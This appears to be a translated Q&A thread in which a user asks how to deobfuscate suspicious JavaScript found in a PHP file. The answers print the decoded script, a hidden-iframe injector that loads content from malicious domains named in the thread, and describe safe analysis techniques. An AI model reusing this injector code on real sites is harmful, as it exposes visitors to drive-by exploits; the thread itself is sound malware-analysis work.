你会如何逆向工程?

时间:2009-01-08 17:19:50

标签: javascript hex obfuscation reverse-engineering deobfuscation

我有一些代码位于javascript中的php文件的底部。它经历了许多奇怪的扭曲,比如将hex转换为ascii然后进行正则表达式替换,执行代码等等......

有没有办法在实际执行之前找出它正在执行的内容?

代码在这里:

http://pastebin.ca/1303597

7 个答案:

答案 0 :(得分:26)

你可以逐步完成它 - 因为它是Javascript,并且它被解释,它需要是它自己的解密器。如果您可以访问命令行Javascript解释器(例如Firebug中的控制台),那么这将非常简单。

我会看看会发生什么。

编辑我已经完成了大部分工作 - 似乎最后一步是非平凡的,可能是因为它涉及“argument.callee”。无论如何,我在Pastebin上放了what I have so far

有趣的是,我发现其中最难的部分是给出了胡言乱语的变量名。它让我想起了一个填字游戏,或者数独,你知道事情是如何相关的,但是在你弄清楚其依赖部分是什么之前,你无法明确地分配一些东西。 :-)我敢肯定,如果有人认出算法,他们可以给出更有意义的部分名称,但是在有很多XORing进行的位上,有两个临时变量,我刚刚将它们作为默认名称因为我不知道足够的上下文给它们有用的。

最终编辑:当我意识到我可以传入原始文本时,'arguments.callee'位变得容易了,我讽刺的是它正在解码(这是一个非常聪明的技术,所以正常的反混淆不起作用,因为一旦你重命名变量等,值就不同了)。无论如何,这是你的剧本:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

基本上它看起来像从axa3.cn加载恶意软件。该网站已经被ISP怀疑,所以不知道上面的内容是什么,超出了一般的不良。

(如果有人感兴趣的话,我使用Pastebin作为代码更改版本的伪VCS,所以你可以在我的第一个编辑帖子之后看到another intermediate step。看到不同的内容非常有趣混淆层以及它们如何变化。)

答案 1 :(得分:2)

只需编写一个perl脚本或将所有转义的十六进制字符更改为ascii的内容?然后只需查看正则表达式,看看到底发生了什么,并用你的perl /无论什么脚本做同样的事情。

答案 2 :(得分:2)

虽然您可以手动解码,但是当您有许多解码阶段时,它很快就会变得乏味。我通常会替换eval / write来查看每个步骤:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

但是,通过仔细检查window.eval,可以防止这个特殊脚本受到攻击。使用arguments.callee也意味着脚本依赖于特定浏览器的Function.toString格式,在这种情况下是IE的 - 它不适用于其他浏览器。您可以在替换eval函数中添加变通方法,为脚本提供它在这种情况下的预期,但它仍然有点痛苦。

您可以使用脚本调试器来逐步执行代码,或者我在这种情况下所做的是允许代码在虚拟机中运行,没有我能负担得起的网络。通过在代码运行后查看document.body.innerHTML,我发现它添加了一个不可见的iframe指向:

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

重定向到:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

,在IE中的适当条件下查看,为您提供了大量的漏洞利用。 请勿访问这些网址

简而言之,您的服务器已被axa3.cn攻击,axa3.cn是目前正在运营的众多中国托管但俄罗斯运营的恶意软件团伙之一。

答案 3 :(得分:1)

您可以尝试使用firebug控制台并将其分解。作为开始:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

只是将“eval”函数屏蔽为“jQuery”

答案 4 :(得分:1)

最简单的方法是使用简单的c程序将转义的十六进制字符转换为可读文本,如下所示:

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

产生this(我添加了格式)。我会让你完成最后一部分,看起来更像是一样。

答案 5 :(得分:1)

非常小心 - 如果有人为了混淆代码而遇到这么多麻烦,那可能是某种攻击脚本

你可以使用本地html文件分阶段输出执行结果,并一次把它作为一个部分

这样做我得到:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

产生

jQuery=eval(window.eval);

,正如crescentfresh观察到的那样,将变量jQuery绑定到window.eval函数。

下一节显然是试图用十六进制代码来评估一些东西,所以让我们看看十六进制代码字符串是什么样的(为了演示目的而手动重新格式化):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

现在我们最后有了一个转义字符串,让我们看看那里有什么使用unescape(截断用于演示):

30248118GA0 * l:WRG:nt9 * 82:)7Z \ uF%* {...
坦率地说,我很无聊,把它拆开,所以反而我把它转储到本地的html文件,断开互联网,打开firefox,禁用javascript,在firefox中加载文件,打开firebug,重新加载页面等它会运行,并检查DOM。

该脚本创建一个IFRAME,其SRC设置为[为安全而改变!]:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

axa3.cn是恶意软件黑名单中的中文域名

答案 6 :(得分:0)

我知道它不是答案,但通常(我见过这种东西),它们被放置,如果该行未执行,所有脚本都会停止。他们为什么这样做?好吧,因为他们在脚本上打印版权(或者更常见的是模板)。

当人们为你所有的麻烦而给予认可是因为他们确实有移除版权许可,我会建议支付它,因为即使你“逆向工程”,他们也可以(和有)其他方式检查您的许可证是否属实。 (如果你这样做,其中一些软件实际上会发送某种消息)。

但是,在我得到任何火焰之前,我同意有趣的是回到这种证券并获得原始代码并打破它=)